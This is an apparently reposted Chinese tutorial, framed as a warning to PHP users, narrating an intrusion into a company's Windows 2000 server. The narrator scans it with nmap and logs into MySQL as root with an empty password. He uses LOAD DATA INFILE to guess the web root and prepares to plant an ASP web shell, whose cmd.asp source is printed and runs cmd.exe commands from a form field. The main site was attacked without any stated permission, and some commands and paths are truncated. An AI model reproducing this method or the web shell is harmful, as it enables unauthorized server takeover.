PHP用户须警惕:通过Mysql入侵服务器
烈火建站学院(LieHuo.Net)转载 某天晚上在IRC的时候,一个老朋友说帮他看看他的新主页的安全性,然后给出URL是abc.target.net,我一看觉得挺眼熟的,target.net公司里面的CEO,人事部经理,网管我都认识的,前段时间还差点去了那里做网管呢,那就看看他们的服务器做的如何吧。
随后用nmap扫描了一下abc.target.net,发现开的端口挺多的,看来没有安装防火墙或做TCP/IP过滤。从IIS版本判断是Windows 2000的服务器。IIS没什么好利用的,一看开了3306端口,是mysql的,就用我的mysql客户端尝试连接了一下,root的密码竟然为空,后来就觉得没有多大意思,于是把目标转到他们的主站,哈哈。
Ok!先用nmap扫描一下,扫描结果如下:
以下为引用的内容:
25/tcp open smtp
53/tcp open domain
80/tcp open http
110/tcp open pop-3
389/tcp open ldap
1002/tcp open unknown
3306/tcp open mysql
然后从IIS版本判断目标是windows 2000服务器。从开放的端口来看,它要么是安装了防火墙,要么是做了TCP/IP过滤,比abc.target.net有意思多了。从25和110端口返回的数据来看,他们用的邮件服务器是IMail 6.04,没什么可利用的。IIS上面网管做了安全配置,一些默认的CGI漏洞也没有,这也没什么好利用的。只剩下最后一个端口了,习惯性的用我的mysql客户端连接试试:
以下为引用的内容:
F:\cmd>mysql -u root -h
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 3038 to server version: 3.23.21-beta
Type ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the buffer
mysql>
不好意思,看来网管没有给mysql帐号root设置一个密码,是默认的空密码,那么我们就可以利用这个漏洞来做点什么了。如果是MS-SQL数据库的话就好办啦,直接可以用xp_cmdshell来运行系统命令,但是可惜的是mysql没有类似MS-SQL那样的扩展存储过程。
现在我们可以利用这个漏洞来做三件事情:
搜索mysql数据库里面的内容,看能不能找出一些有用的敏感信息,我找了一会儿就不想找了
读取服务器上的任何文件,当然前提是知道文件的物理路径
以启动mysql服务用户的权限往服务器上写文件,前提是这个文件要不存在的,就是说不能覆盖文件
如果我们知道IIS主目录的物理路径的话,我们就可以往上面写一个ASP上去,然后通过IE来执行系统命令。怎么得到IIS目录的物理路径呢?天知道!没办法,猜吧。。。。。。先在mysql默认数据库test中建一个表tmp,这个表只有一个字段str,类型为TEXT,
mysql> use test;create table tmp(str TEXT);
Database changed
Query OK, 0 rows affected (0.05 sec)
然后凭着自己做网管的直觉,开始猜测IIS主目录的物理路径,c:\inetpub\都不对,55555。大概猜测到第10次,我的mysql客户端回显信息如下:
mysql> load data infile “d:\\ into table tmp;
Query OK, 235 rows affected (0.05 sec)
Records: 235 Deleted: 0 Skipped: 0 Warnings: 0
哈哈哈,猜中了,IIS主目录的物理路径是d:\www,因为上面的文件的虚拟路径是看来我得到一个shell了。
接下来我们就可以往d:\里面写一个ASP文件进去,然后通过来执行系统命令了。
然后在网上找来一个现成的cmd.asp,懒的自己去写了:)。Cmd.asp如下:
以下为引用的内容:
——————————-cmd.asp—————————————-
<% Dim oScript
Dim oScriptNet
Dim oFileSys, oFile
Dim szCMD, szTempFile
On Error Resume Next
Set oScript=Server.CreateObject(“”WSCRIPT.SHELL””)
Set oScriptNet=Server.CreateObject(“”WSCRIPT.NETWORK””)
Set oFileSys=Server.CreateObject(“”Scripting.FileSystemObject””)
szCMD=Request.Form(“”.CMD””)
If (szCMD “”””) Then
szTempFile=“”C:\” & oFileSys.GetTempName()
Call oScript.Run (“”cmd.exe /c “” & szCMD & “” > “” & szTempFile, 0, True)
Set oFile=oFileSys.OpenTextFile (szTempFile, 1, False, 0)
End If %>